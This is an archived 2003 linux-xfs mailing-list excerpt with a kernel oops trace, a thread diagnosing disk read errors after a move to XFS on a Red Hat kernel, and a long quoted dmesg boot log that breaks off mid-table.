Trace: [] [] [] [] [] [] [] [] [] [] [] Code: 89 02 89 50 04 c7 01 00 00 00 00 8b 43 10 8d 53 10 89 48 04 >>EIP; c0131f6b <===== >>ebx; c184fa74 <_end+1487d8c/30465398> >>ecx; e3dc6020 <_end+239fe338/30465398> >>edi; efd2b110 <_end+2f963428/30465398> >>ebp; efd2b118 <_end+2f963430/30465398> >>esp; efc77f10 <_end+2f8b0228/30465398> Trace; c013185e Trace; c01a3c8e Trace; c01a205a Trace; c01c01ab Trace; c01c02be Trace; c01b986c Trace; c01b8ec9 Trace; c01ce954 Trace; c01cdd67 Trace; c01057ab Trace; c01cdcc0 Code; c0131f6b 00000000 <_EIP>: Code; c0131f6b <===== 0: 89 02 mov %eax,(%edx) <===== Code; c0131f6d 2: 89 50 04 mov %edx,0x4(%eax) Code; c0131f70 5: c7 01 00 00 00 00 movl $0x0,(%ecx) Code; c0131f76 b: 8b 43 10 mov 0x10(%ebx),%eax Code; c0131f79 e: 8d 53 10 lea 0x10(%ebx),%edx Code; c0131f7c 11: 89 48 04 mov %ecx,0x4(%eax) I've got similar oopses already when running 2.4.20-xfs ; the code path wasn't the same, but it failed in kmem_cache_free_one too. It doesn't happen on a regular basis at all, and I couldn't reproduce any of the oopses so far... I don't know what the machine was doing when this oops happened, it could have been during an apt-get upgrade (judging by the hour -- I discovered the oops yesterday when I logged on the machine). With 2.4.20-xfs, I got similar oopses twice, once rm -rf'ing a kernel tree on a software RAID 1 array, the second time I was running rsync on a kernel tree on the same array. For the oops above, I'm pretty sure this array isn't involved, as it's only storage and I did nothing involving the array for the past two weeks. Could that be a bug in the XFS code, or would it be more like a hardware problem ? (everything is running fine even under heavy load, otherwise...) Thanks, JB. -- Julien BLACHE From owner-linux-xfs@oss.sgi.com Sun Sep 28 08:08:25 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 28 Sep 2003 08:08:43 -0700 (PDT) Received: from linux-sxs.org (d60-65-142-166.col.wideopenwest.com [65.60.166.142]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8SF8OFx014256 for ; Sun, 28 Sep 2003 08:08:25 -0700 Received: from linux-sxs.org (localhost [127.0.0.1]) by linux-sxs.org (8.12.10/8.12.10) with ESMTP id h8SF86ET009735; Sun, 28 Sep 2003 11:08:10 -0400 Received: from localhost (netllama@localhost) by linux-sxs.org (8.12.10/8.12.10/Submit) with ESMTP id h8SF7wL9026680; Sun, 28 Sep 2003 11:08:03 -0400 Date: Sun, 28 Sep 2003 11:07:58 -0400 (EDT) From: Net Llama! To: Piyush Kumar cc: linux-xfs@oss.sgi.com Subject: Re: XFS Patches for redhat kernel In-Reply-To: <000401c3857e$c60892d0$22f6f582@resnet.sunysb.edu> Message-ID: References: <000401c3857e$c60892d0$22f6f582@resnet.sunysb.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: OK, scanned by File::Scan,ClamAV X-Scanned-By: MIMEDefang 2.37 X-archive-position: 560 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: netllama@linux-sxs.org Precedence: bulk X-list: linux-xfs Content-Length: 1004 Lines: 29 On Sun, 28 Sep 2003, Piyush Kumar wrote: > When I "startx" I get this message > > hda: dma_intr: status=0x51 {DriveReady SeekComplete Error } > hda: dma_intr: status=0x40 {UncorrectableError},LBAsect=161297763, > sector=143481672 > end_request: I/O error, dev 03:03 (hda), sector 143481672 > ... > > on tty1 as X/kde starts. There is a core.xxxx file created in the > place I run startx from, otherwise everything runs ok. > > Sometimes, when I try to run some application from KDE like "Terminal" > another core appears in the directory. That's rather alarming behavior. Have you checked your messages log for any errors? > I do not believe that my hard disk is broken! I have a maxtor which ran > perfectly till yesterday with the ext3. I installed XFS today and The error is indicating that you've got a bad sector. -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Lonni J Friedman netllama@linux-sxs.org Linux Step-by-step & TyGeMo http://netllama.ipfox.com From owner-linux-xfs@oss.sgi.com Sun Sep 28 09:38:43 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 28 Sep 2003 09:39:00 -0700 (PDT) Received: from mail.ic.sunysb.edu (mail.ic.sunysb.edu [129.49.1.4]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8SGcgFx024925 for ; Sun, 28 Sep 2003 09:38:43 -0700 Received: from postal.ic.sunysb.edu (mail [129.49.1.4]) by mail.ic.sunysb.edu (8.12.10/8.12.10) with SMTP id h8SGXSfi026753; Sun, 28 Sep 2003 12:38:16 -0400 (EDT) Received: from smtp.ic.sunysb.edu ([129.49.1.24]) by postal.ic.sunysb.edu (SAVSMTP 3.1.1.32) with SMTP id M2003092812381611825 ; Sun, 28 Sep 2003 12:38:16 -0400 Received: from pkumar (246-034.resnet.stonybrook.edu [130.245.246.34]) by smtp.ic.sunysb.edu (8.12.10/8.12.10) with ESMTP id h8SGcG0h028971; Sun, 28 Sep 2003 12:38:16 -0400 (EDT) Reply-To: From: "Piyush Kumar" To: "'Net Llama!'" Cc: Subject: RE: XFS Patches for redhat kernel Date: Sun, 28 Sep 2003 12:57:35 -0400 Message-ID: <000401c385e1$a0dade60$22f6f582@resnet.sunysb.edu> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0005_01C385C0.19C93E60" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.4024 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 In-Reply-To: Importance: Normal X-archive-position: 561 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: piyush@acm.org Precedence: bulk X-list: linux-xfs Content-Length: 2817 Lines: 91 This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C385C0.19C93E60 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit After getting fed up, I reinstalled "/" as ext3 on /dev/h da (My Maxtor hard drive) and checked for bad sectors this time while installation. /dev/sda(3ware RAID) still has my home directories and has XFS on it. Everything went thru well (as I was expecting) and my redhat is running for now. The h da: dma_intr errors are gone while starting startx at least. But of course that doesn't mean that they wont come in the future. Beest Wishes, --pk The best way to predict your future is to create it. - Anonymous > -----Original Message----- > From: Net Llama! [mailto:netllama@linux-sxs.org] > Sent: Sunday, September 28, 2003 11:08 AM > To: Piyush Kumar > Cc: linux-xfs@oss.sgi.com > Subject: Re: XFS Patches for redhat kernel > > > On Sun, 28 Sep 2003, Piyush Kumar wrote: > > When I "startx" I get this message > > > > hda: dma_intr: status=0x51 {DriveReady SeekComplete Error } > > hda: dma_intr: status=0x40 {UncorrectableError},LBAsect=161297763, > > sector=143481672 > > end_request: I/O error, dev 03:03 (hda), sector 143481672 > > ... > > > > on tty1 as X/kde starts. There is a core.xxxx file created in the > > place I run startx from, otherwise everything runs ok. > > > > Sometimes, when I try to run some application from KDE like > "Terminal" > > another core appears in the directory. > > That's rather alarming behavior. Have you checked your > messages log for any errors? > > > I do not believe that my hard disk is broken! I have a maxtor which > > ran perfectly till yesterday with the ext3. I installed XFS > today and > > The error is indicating that you've got a bad sector. > > > -- > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > Lonni J Friedman netllama@linux-sxs.org > Linux Step-by-step & TyGeMo http://netllama.ipfox.com > ------=_NextPart_000_0005_01C385C0.19C93E60 Content-Type: text/x-vcard; name="Piyush Kumar.vcf" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="Piyush Kumar.vcf" BEGIN:VCARD VERSION:2.1 N:Kumar;Piyush FN:Piyush Kumar ORG:Univ of NY at Stony Brook;Mathematics TEL;WORK;VOICE:1-631-632-8362 TEL;HOME;VOICE:1-631-216-5014 ADR;WORK:;1-105;1-105, Math Tower;Stony Brook;NY;11790;USA LABEL;WORK;ENCODING=3DQUOTED-PRINTABLE:1-105=3D0D=3D0A1-105, Math Tower=3D0= D=3D0AStony Brook, NY 11790=3D0D=3D0AUSA ADR;HOME:;;B-107, Schomberg Apartments;Stony Brook;NY;11790;USA LABEL;HOME;ENCODING=3DQUOTED-PRINTABLE:B-107, Schomberg Apartments=3D0D=3D0= AStony Brook, NY 11790=3D0D=3D0AUSA EMAIL;PREF;INTERNET:piyush@acm.org REV:20010621T182513Z END:VCARD ------=_NextPart_000_0005_01C385C0.19C93E60-- From owner-linux-xfs@oss.sgi.com Sun Sep 28 13:48:29 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 28 Sep 2003 13:48:46 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8SKmSFx012561 for ; Sun, 28 Sep 2003 13:48:28 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8SIpiOO014328 for ; Sun, 28 Sep 2003 11:51:45 -0700 Received: from poppy-e236.americas.sgi.com (poppy-e236.americas.sgi.com [128.162.236.207]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8SKmMcc11871288; Sun, 28 Sep 2003 15:48:22 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by poppy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8SKmMK21595834; Sun, 28 Sep 2003 15:48:22 -0500 (CDT) Date: Sun, 28 Sep 2003 15:48:21 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: Piyush Kumar cc: "'Net Llama!'" , Subject: RE: XFS Patches for redhat kernel In-Reply-To: <000401c385e1$a0dade60$22f6f582@resnet.sunysb.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 562 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 799 Lines: 18 A bit OT, but most drive vendors have drive tests that you can download and run, some even run under linux; if not, many can be run from a dos boot floppy. They can read the S.M.A.R.T. data off the drive, and tell you with a good degree of certainty whether you have hardware problems or not. Just because you see hardware errors when using xfs and not when using ext3 doesn't mean that xfs is in any way at fault; drive access patterns could be quite different between the two. -Eric > After getting fed up, I reinstalled "/" as ext3 on /dev/h da > (My Maxtor hard drive) and checked > for bad sectors this time while installation. /dev/sda(3ware RAID) > still has my home directories and has XFS on it. > Everything went thru well (as I was expecting) and my > redhat is running for now. From owner-linux-xfs@oss.sgi.com Sun Sep 28 14:12:01 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 28 Sep 2003 14:12:30 -0700 (PDT) Received: from heretic.physik.fu-berlin.de (root@heretic.physik.fu-berlin.de [160.45.32.86]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8SLBxFx014321 for ; Sun, 28 Sep 2003 14:12:00 -0700 Received: from puariko.homeip.net (vdp032.hal01.gwc.hol.gr [195.97.11.64]) by heretic.physik.fu-berlin.de (8.12.8/8.12.8) with ESMTP id h8SLBZcT026479 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sun, 28 Sep 2003 23:11:42 +0200 Received: (from thimm@localhost) by pua.nirvana (8.12.9/8.12.9/Submit) id h8SLBhvF003035; Mon, 29 Sep 2003 00:11:43 +0300 Date: Mon, 29 Sep 2003 00:11:42 +0300 From: Axel Thimm To: Piyush Kumar Cc: linux-xfs@oss.sgi.com Subject: Re: XFS Patches for redhat kernel Message-ID: <20030928211142.GD1779@pua.nirvana> References: <000401c3857e$c60892d0$22f6f582@resnet.sunysb.edu> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="kvUQC+jR9YzypDnK" Content-Disposition: inline In-Reply-To: <000401c3857e$c60892d0$22f6f582@resnet.sunysb.edu> User-Agent: Mutt/1.4.1i X-archive-position: 563 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Axel.Thimm@physik.fu-berlin.de Precedence: bulk X-list: linux-xfs Content-Length: 26501 Lines: 643 --kvUQC+jR9YzypDnK Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Sep 28, 2003 at 01:09:57AM -0400, Piyush Kumar wrote: > Are there any rpms available for the redhat kernel 2.4.20-20.9 with xfs? You can get them from http://atrpms.physik.fu-berlin.de/name/kernel/ but I doubt that they would make any difference to the problem you describe. Anyway, you may want to rule that possibility 100% out. I'd be surprised to see that problem go away with an upgrade to 20.x based RH kernels. > I tried the XFS 1.3 installer CDs with my Redhat 9.1 CDs and could > make them work on my SMP Xeon 2.6Ghz system with 3ware controller but > with > some problems. >=20 > When I "startx" I get this message >=20 > hda: dma_intr: status=3D0x51 {DriveReady SeekComplete Error } > hda: dma_intr: status=3D0x40 {UncorrectableError},LBAsect=3D161297763, > sector=3D143481672 > end_request: I/O error, dev 03:03 (hda), sector 143481672 > ... >=20 > on tty1 as X/kde starts. There is a core.xxxx file created in the > place I run startx from, otherwise everything runs ok.=20 >=20 > Sometimes, when I try to run some application from KDE like "Terminal" > another core appears in the directory.=20 >=20 > I do not believe that my hard disk is broken! I have a maxtor which ran > perfectly till yesterday with the ext3. I installed XFS today and > changed > the kernel, and now it seems that the problem is because I changed the > whole file system to XFS and the kernel to 2.4.20-19.9. But I don't know > for sure what is going wrong.. >=20 > One more thing I observed was that hdparm gives for my maxtor drive and > and for my 3ware card (which has 4 similar hard disks connected to it on > RAID 0) > around the same reading and writing speed as /dev/h da(Maxtor)! Seems > some driver is messed up. I tried to copy the updated 3w-xxxx.c file on= =20 > the kernel and recompile the kernel that came with the XFS-SGI-Redhat > CD, but to no avail. The kernel modules wont just compile (one error or > the other stops it). (I tried many configurations including the one=20 > that is there in /boot for the up and running kernel). >=20 > Is there an easier way to run XFS? Should I move my hda to ext3 and=20 > try to just move the RAID on xfs and then see if I can get the real > speed of the RAID on to redhat? >=20 > Thanks in advance for your help/comments, >=20 > Best Wishes, >=20 >=20 > Attaching my dmesg + fstab + hdparm >=20 > hda =3D maxtor 120GB > sda =3D 3ware 7500 4LP + 4 western digital 120GB >=20 >=20 > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > dmesg > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D >=20 > Linux version 2.4.20-19.9.XFS1.3.0smp (root@naboo.americas.sgi.com) (gcc > version 3.2.2 20030222 (Red Hat Linux 3.2.2-5)) #1 SMP Wed Aug 20 > 17:56:56 CDT 2003 > BIOS-provided physical RAM map: > BIOS-e820: 0000000000000000 - 000000000009b000 (usable) > BIOS-e820: 000000000009b000 - 00000000000a0000 (reserved) > BIOS-e820: 00000000000d0000 - 00000000000d4000 (reserved) > BIOS-e820: 00000000000e4000 - 0000000000100000 (reserved) > BIOS-e820: 0000000000100000 - 000000007ff70000 (usable) > BIOS-e820: 000000007ff70000 - 000000007ff78000 (ACPI data) > BIOS-e820: 000000007ff78000 - 000000007ff80000 (ACPI NVS) > BIOS-e820: 000000007ff80000 - 0000000080000000 (reserved) > BIOS-e820: 00000000fec00000 - 00000000fec10000 (reserved) > BIOS-e820: 00000000fee00000 - 00000000fee01000 (reserved) > BIOS-e820: 00000000ff800000 - 00000000ffc00000 (reserved) > BIOS-e820: 00000000fff00000 - 0000000100000000 (reserved) > 1151MB HIGHMEM available. > 896MB LOWMEM available. > found SMP MP-table at 000f64d0 > hm, page 000f6000 reserved twice. > hm, page 000f7000 reserved twice. > hm, page 0009b000 reserved twice. > hm, page 0009c000 reserved twice. > On node 0 totalpages: 524144 > zone(0): 4096 pages. > zone(1): 225280 pages. > zone(2): 294768 pages. > ACPI: Searched entire block, no RSDP was found. > ACPI: RSDP located at physical address c00f6460 > RSD PTR v0 [PTLTD ] > __va_range(0x7ff74022, 0x68): idx=3D10 mapped at ffff5000 > ACPI table found: RSDT v1 [PTLTD RSDT 1540.0] > __va_range(0x7ff77e78, 0x24): idx=3D10 mapped at ffff5000 > __va_range(0x7ff77e78, 0x74): idx=3D10 mapped at ffff5000 > ACPI table found: FACP v1 [INTEL PLACER 1540.0] > __va_range(0x7ff77eec, 0x24): idx=3D10 mapped at ffff5000 > __va_range(0x7ff77eec, 0x9c): idx=3D10 mapped at ffff5000 > ACPI table found: APIC v1 [PTLTD APIC 1540.0] > __va_range(0x7ff77eec, 0x9c): idx=3D10 mapped at ffff5000 > LAPIC (acpi_id[0x0000] id[0x0] enabled[1]) > CPU 0 (0x0000) enabledProcessor #0 Pentium 4(tm) XEON(tm) APIC version > 16 >=20 > LAPIC (acpi_id[0x0001] id[0x6] enabled[1]) > CPU 1 (0x0600) enabledProcessor #6 Pentium 4(tm) XEON(tm) APIC version > 16 >=20 > LAPIC (acpi_id[0x0002] id[0x1] enabled[1]) > CPU 2 (0x0100) enabledProcessor #1 Pentium 4(tm) XEON(tm) APIC version > 16 >=20 > LAPIC (acpi_id[0x0003] id[0x7] enabled[1]) > CPU 3 (0x0700) enabledProcessor #7 Pentium 4(tm) XEON(tm) APIC version > 16 >=20 > IOAPIC (id[0x2] address[0xfec00000] global_irq_base[0x0]) > IOAPIC (id[0x3] address[0xfec80000] global_irq_base[0x18]) > IOAPIC (id[0x4] address[0xfec80100] global_irq_base[0x30]) > INT_SRC_OVR (bus[0] irq[0x0] global_irq[0x2] polarity[0x1] trigger[0x1]) > INT_SRC_OVR (bus[0] irq[0x9] global_irq[0x9] polarity[0x1] trigger[0x3]) > LAPIC_NMI (acpi_id[0x0000] polarity[0x1] trigger[0x1] lint[0x1]) > LAPIC_NMI (acpi_id[0x0001] polarity[0x1] trigger[0x1] lint[0x1]) > LAPIC_NMI (acpi_id[0x0002] polarity[0x1] trigger[0x1] lint[0x1]) > LAPIC_NMI (acpi_id[0x0003] polarity[0x1] trigger[0x1] lint[0x1]) > 4 CPUs total > Local APIC address fee00000 > __va_range(0x7ff77f88, 0x24): idx=3D10 mapped at ffff5000 > __va_range(0x7ff77f88, 0x28): idx=3D10 mapped at ffff5000 > ACPI table found: BOOT v1 [PTLTD $SBFTBL$ 1540.0] > __va_range(0x7ff77fb0, 0x24): idx=3D10 mapped at ffff5000 > __va_range(0x7ff77fb0, 0x50): idx=3D10 mapped at ffff5000 > ACPI table found: SPCR v1 [PTLTD $UCRTBL$ 1540.0] > Enabling the CPU's according to the ACPI table > Intel MultiProcessor Specification v1.4 > Virtual Wire compatibility mode. > OEM ID: Product ID: PLACER CRB APIC at: 0xFEE00000 > I/O APIC #2 Version 32 at 0xFEC00000. > I/O APIC #3 Version 32 at 0xFEC80000. > I/O APIC #4 Version 32 at 0xFEC80100. > Enabling APIC mode: Flat. Using 3 I/O APICs > Processors: 4 > Kernel command line: ro root=3DLABEL=3D/ hdd=3Dide-scsi acpi=3Doff > ide_setup: hdd=3Dide-scsi > Initializing CPU#0 > Detected 2665.964 MHz processor. > Console: colour VGA+ 80x25 > Calibrating delay loop... 5321.52 BogoMIPS > Memory: 2058888k/2096576k available (1543k kernel code, 33060k reserved, > 1167k data, 160k init, 1179072k highmem) > kdb version 4.3 by Keith Owens, Scott Lurndal. Copyright SGI, All Rights > Reserved > Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes) > Inode cache hash table entries: 131072 (order: 8, 1048576 bytes) > Mount cache hash table entries: 512 (order: 0, 4096 bytes) > Buffer-cache hash table entries: 131072 (order: 7, 524288 bytes) > Page-cache hash table entries: 524288 (order: 9, 2097152 bytes) > CPU: Trace cache: 12K uops, L1 D cache: 8K > CPU: L2 cache: 512K > CPU: Physical Processor ID: 0 > Intel machine check architecture supported. > Intel machine check reporting enabled on CPU#0. > CPU: After generic, caps: bfebfbff 00000000 00000000 00000000 > CPU: Common caps: bfebfbff 00000000 00000000 00000000 > Enabling fast FPU save and restore... done. > Enabling unmasked SIMD FPU exception support... done. > Checking 'hlt' instruction... OK. > POSIX conformance testing by UNIFIX > mtrr: v1.40 (20010327) Richard Gooch (rgooch@atnf.csiro.au) > mtrr: detected mtrr type: Intel > CPU: Trace cache: 12K uops, L1 D cache: 8K > CPU: L2 cache: 512K > CPU: Physical Processor ID: 0 > Intel machine check reporting enabled on CPU#0. > CPU: After generic, caps: bfebfbff 00000000 00000000 00000000 > CPU: Common caps: bfebfbff 00000000 00000000 00000000 > CPU0: Intel(R) Xeon(TM) CPU 2.66GHz stepping 07 > per-CPU timeslice cutoff: 1463.11 usecs. > task migration cache decay timeout: 10 msecs. > enabled ExtINT on CPU#0 > ESR value before enabling vector: 00000000 > ESR value after enabling vector: 00000000 > Booting processor 1/1 eip 2000 > Initializing CPU#1 > masked ExtINT on CPU#1 > ESR value before enabling vector: 00000000 > ESR value after enabling vector: 00000000 > Calibrating delay loop... 5321.52 BogoMIPS > CPU: Trace cache: 12K uops, L1 D cache: 8K > CPU: L2 cache: 512K > CPU: Physical Processor ID: 0 > Intel machine check reporting enabled on CPU#1. > CPU: After generic, caps: bfebfbff 00000000 00000000 00000000 > CPU: Common caps: bfebfbff 00000000 00000000 00000000 > CPU1: Intel(R) Xeon(TM) CPU 2.66GHz stepping 07 > Booting processor 2/6 eip 2000 > Initializing CPU#2 > masked ExtINT on CPU#2 > ESR value before enabling vector: 00000000 > ESR value after enabling vector: 00000000 > Calibrating delay loop... 5321.52 BogoMIPS > CPU: Trace cache: 12K uops, L1 D cache: 8K > CPU: L2 cache: 512K > CPU: Physical Processor ID: 3 > Intel machine check reporting enabled on CPU#2. > CPU: After generic, caps: bfebfbff 00000000 00000000 00000000 > CPU: Common caps: bfebfbff 00000000 00000000 00000000 > CPU2: Intel(R) Xeon(TM) CPU 2.66GHz stepping 07 > Booting processor 3/7 eip 2000 > Initializing CPU#3 > masked ExtINT on CPU#3 > ESR value before enabling vector: 00000000 > ESR value after enabling vector: 00000000 > Calibrating delay loop... 5321.52 BogoMIPS > CPU: Trace cache: 12K uops, L1 D cache: 8K > CPU: L2 cache: 512K > CPU: Physical Processor ID: 3 > Intel machine check reporting enabled on CPU#3. > CPU: After generic, caps: bfebfbff 00000000 00000000 00000000 > CPU: Common caps: bfebfbff 00000000 00000000 00000000 > CPU3: Intel(R) Xeon(TM) CPU 2.66GHz stepping 07 > Total of 4 processors activated (21286.09 BogoMIPS). > cpu_sibling_map[0] =3D 1 > cpu_sibling_map[1] =3D 0 > cpu_sibling_map[2] =3D 3 > cpu_sibling_map[3] =3D 2 > ENABLING IO-APIC IRQs > Setting 2 in the phys_id_present_map > ...changing IO-APIC physical APIC ID to 2 ... ok. > Setting 3 in the phys_id_present_map > ...changing IO-APIC physical APIC ID to 3 ... ok. > Setting 4 in the phys_id_present_map > ...changing IO-APIC physical APIC ID to 4 ... ok. > init IO_APIC IRQs > IO-APIC (apicid-pin) 2-0, 2-5, 2-10, 2-11, 2-20, 2-22, 3-1, 3-2, 3-3, > 3-4, 3-5, 3-6, 3-7, 3-8, 3-9, 3-10, 3-11, 3-12, 3-13, 3-14, 3-15, 3-16, > 3-17, 3-18, 3-19, 3-20, 3-21, 3-22, 3-23, 4-0, 4-1, 4-2, 4-3, 4-4, 4-5, > 4-7, 4-8, 4-9, 4-10, 4-11, 4-12, 4-13, 4-14, 4-15, 4-16, 4-17, 4-18, > 4-19, 4-20, 4-21, 4-22, 4-23 not connected. > ..TIMER: vector=3D0x31 pin1=3D2 pin2=3D0 > number of MP IRQ sources: 21. > number of IO-APIC #2 registers: 24. > number of IO-APIC #3 registers: 24. > number of IO-APIC #4 registers: 24. > testing the IO APIC....................... >=20 > IO APIC #2...... > .... register #00: 02000000 > ....... : physical APIC id: 02 > .... register #01: 00178020 > ....... : max redirection entries: 0017 > ....... : PRQ implemented: 1 > ....... : IO APIC version: 0020 > .... register #02: 00000000 > ....... : arbitration: 00 > .... IRQ redirection table: > NR Log Phy Mask Trig IRR Pol Stat Dest Deli Vect:=20=20=20 > 00 000 00 1 0 0 0 0 0 0 00 > 01 0FF 0F 0 0 0 0 0 1 1 39 > 02 0FF 0F 0 0 0 0 0 1 1 31 > 03 0FF 0F 0 0 0 0 0 1 1 41 > 04 0FF 0F 0 0 0 0 0 1 1 49 > 05 000 00 1 0 0 0 0 0 0 00 > 06 0FF 0F 0 0 0 0 0 1 1 51 > 07 0FF 0F 0 0 0 0 0 1 1 59 > 08 0FF 0F 0 0 0 0 0 1 1 61 > 09 0FF 0F 0 0 0 0 0 1 1 69 > 0a 000 00 1 0 0 0 0 0 0 00 > 0b 000 00 1 0 0 0 0 0 0 00 > 0c 0FF 0F 0 0 0 0 0 1 1 71 > 0d 0FF 0F 0 0 0 0 0 1 1 79 > 0e 0FF 0F 0 0 0 0 0 1 1 89 > 0f 0FF 0F 0 0 0 0 0 1 1 91 > 10 0FF 0F 1 1 0 1 0 1 1 99 > 11 0FF 0F 1 1 0 1 0 1 1 A1 > 12 0FF 0F 1 1 0 1 0 1 1 A9 > 13 0FF 0F 1 1 0 1 0 1 1 B1 > 14 000 00 1 0 0 0 0 0 0 00 > 15 0FF 0F 1 1 0 1 0 1 1 B9 > 16 000 00 1 0 0 0 0 0 0 00 > 17 0FF 0F 1 1 0 1 0 1 1 C1 >=20 > IO APIC #3...... > .... register #00: 03000000 > ....... : physical APIC id: 03 > .... register #01: 00178020 > ....... : max redirection entries: 0017 > ....... : PRQ implemented: 1 > ....... : IO APIC version: 0020 > .... register #02: 03000000 > ....... : arbitration: 03 > .... IRQ redirection table: > NR Log Phy Mask Trig IRR Pol Stat Dest Deli Vect:=20=20=20 > 00 0FF 0F 1 1 0 1 0 1 1 C9 > 01 000 00 1 0 0 0 0 0 0 00 > 02 000 00 1 0 0 0 0 0 0 00 > 03 000 00 1 0 0 0 0 0 0 00 > 04 000 00 1 0 0 0 0 0 0 00 > 05 000 00 1 0 0 0 0 0 0 00 > 06 000 00 1 0 0 0 0 0 0 00 > 07 000 00 1 0 0 0 0 0 0 00 > 08 000 00 1 0 0 0 0 0 0 00 > 09 000 00 1 0 0 0 0 0 0 00 > 0a 000 00 1 0 0 0 0 0 0 00 > 0b 000 00 1 0 0 0 0 0 0 00 > 0c 000 00 1 0 0 0 0 0 0 00 > 0d 000 00 1 0 0 0 0 0 0 00 > 0e 000 00 1 0 0 0 0 0 0 00 > 0f 000 00 1 0 0 0 0 0 0 00 > 10 000 00 1 0 0 0 0 0 0 00 > 11 000 00 1 0 0 0 0 0 0 00 > 12 000 00 1 0 0 0 0 0 0 00 > 13 000 00 1 0 0 0 0 0 0 00 > 14 000 00 1 0 0 0 0 0 0 00 > 15 000 00 1 0 0 0 0 0 0 00 > 16 000 00 1 0 0 0 0 0 0 00 > 17 000 00 1 0 0 0 0 0 0 00 >=20 > IO APIC #4...... > .... register #00: 04000000 > ....... : physical APIC id: 04 > .... register #01: 00178020 > ....... : max redirection entries: 0017 > ....... : PRQ implemented: 1 > ....... : IO APIC version: 0020 > .... register #02: 04000000 > ....... : arbitration: 04 > .... IRQ redirection table: > NR Log Phy Mask Trig IRR Pol Stat Dest Deli Vect:=20=20=20 > 00 000 00 1 0 0 0 0 0 0 00 > 01 000 00 1 0 0 0 0 0 0 00 > 02 000 00 1 0 0 0 0 0 0 00 > 03 000 00 1 0 0 0 0 0 0 00 > 04 000 00 1 0 0 0 0 0 0 00 > 05 000 00 1 0 0 0 0 0 0 00 > 06 0FF 0F 1 1 0 1 0 1 1 D1 > 07 000 00 1 0 0 0 0 0 0 00 > 08 000 00 1 0 0 0 0 0 0 00 > 09 000 00 1 0 0 0 0 0 0 00 > 0a 000 00 1 0 0 0 0 0 0 00 > 0b 000 00 1 0 0 0 0 0 0 00 > 0c 000 00 1 0 0 0 0 0 0 00 > 0d 000 00 1 0 0 0 0 0 0 00 > 0e 000 00 1 0 0 0 0 0 0 00 > 0f 000 00 1 0 0 0 0 0 0 00 > 10 000 00 1 0 0 0 0 0 0 00 > 11 000 00 1 0 0 0 0 0 0 00 > 12 000 00 1 0 0 0 0 0 0 00 > 13 000 00 1 0 0 0 0 0 0 00 > 14 000 00 1 0 0 0 0 0 0 00 > 15 000 00 1 0 0 0 0 0 0 00 > 16 000 00 1 0 0 0 0 0 0 00 > 17 000 00 1 0 0 0 0 0 0 00 > IRQ to pin mappings: > IRQ0 -> 0:2 > IRQ1 -> 0:1 > IRQ3 -> 0:3 > IRQ4 -> 0:4 > IRQ6 